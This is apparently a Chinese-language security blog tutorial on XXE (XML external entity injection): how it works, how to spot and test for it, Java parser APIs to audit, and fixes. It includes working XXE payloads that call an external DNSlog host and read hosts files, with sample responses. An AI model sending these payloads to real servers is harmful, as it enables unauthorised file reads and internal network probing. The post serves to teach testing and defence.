What is XXE?

XML external entity injection (also known as XXE)。奇怪,XML External Entity 为什么不叫XEE?

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE与XML注入的区别?

本文主要探讨XXE,其它部分内容请自行查阅。
https://www.cnblogs.com/websecurity-study/p/11348913.html

XXE漏洞原理

要了解XXE漏洞的原理,需要了解一下XML格式(一种数据传输格式,现在被JSON取代),DTD。
可以参考这篇文章:https://xz.aliyun.com/t/6887 , 这里节省篇幅不描述XML语法了。

一些应用程序使用 XML 格式在浏览器和服务器之间进行传输数据。
执行此操作的应用程序实际上总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范就包含各种潜在危险的特性,而标准解析器支持这些特性,即使它们通常不被应用程序使用。

XML外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,外部实体特别值得关注,因为它们允许根据文件路径或 URL 的内容定义实体。

XXE的特征

  • 特征1 --- .ashx
    看到url是 .ashx后缀的

  • 特征2 --- 响应体是xml

发现有这些特征都可以用下面的流程测试

XXE测试

在线工具:

http://ceye.io/

http://www.dnslog.cn/

https://dnslog.io/

我这里用www.dnslog.cn举例

注意

发包需要修改格式:

Content-Type: application/xml

pyload

http://127.0.0.1:80替换成你的Get SubDomain


<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]>


# or 

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://127.0.0.1:80">
]>
<r>&sp;</r>

然后点Refresh Record,有访问记录就说明测试成功了。

任意读取文件测试

原理就是构造一个可以访问系统默认文件hosts的Pyload,然后看看响应,看他说缺啥补充啥。如果是回显型XXE就会将配置文件的信息打印出来。

file:///c:/windows/system32/drivers/etc/hosts
file:///etc/hosts
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<r>&sp;</r>


# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>9011</rspCode><rspDesc><![CDATA[请求报文头部不能为空]]></rspDesc><digitalSign /><rspTime>2020-04-09 16:58:34.877</rspTime></header><body></body></response>


# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts1">
]>
<r>&sp;</r>


# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>7000</rspCode><rspDesc><![CDATA[接口程序执行错误]]></rspDesc><digitalSign /><rspTime>2020-04-09 17:01:08.121</rspTime></header><body></body></response>

代码审计XXE,基于Java语言

关键字 ,如下: 这些地方如果参数来源于用户可控的参数 且未经校验和防护,就会存在XXE漏洞的风险:

  • DocumentBuilder、XMLStreamReader、SAXBuilder、SAXParser
  • SAXReader 、XMLReader
  • SAXSource 、TransformerFactory 、SAXTransformerFactory 、
  • SchemaFactory
  • xml

部分XML解析接口如下:

  • javax.xml.parsers.DocumentBuilderFactory;
  • javax.xml.parsers.SAXParser
  • javax.xml.transform.TransformerFactory
  • javax.xml.validation.Validator11 javax.xml.validation.SchemaFactory
  • javax.xml.transform.sax.SAXTransformerFactory
  • javax.xml.transform.sax.SAXSource
  • org.xml.sax.XMLReader
  • org.xml.sax.helpers.XMLReaderFactory
  • org.dom4j.io.SAXReader
  • org.jdom.input.SAXBuilder
  • org.jdom2.input.SAXBuilder
  • javax.xml.bind.Unmarshaller
  • javax.xml.xpath.XpathExpression
  • javax.xml.stream.XMLStreamReader
  • org.apache.commons.digester3.Digester

修复方案

  1. 使用开发语言提供的禁用外部实体的方法;
# java举例
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  1. 过滤用户提交的XML数据;
  2. 不允许XML中含有自己定义的DTD;

Reference

https://portswigger.net/web-security/xxe

posted on 2020-04-09 18:00  Mysticbinary  阅读(15114)  评论(0编辑  收藏  举报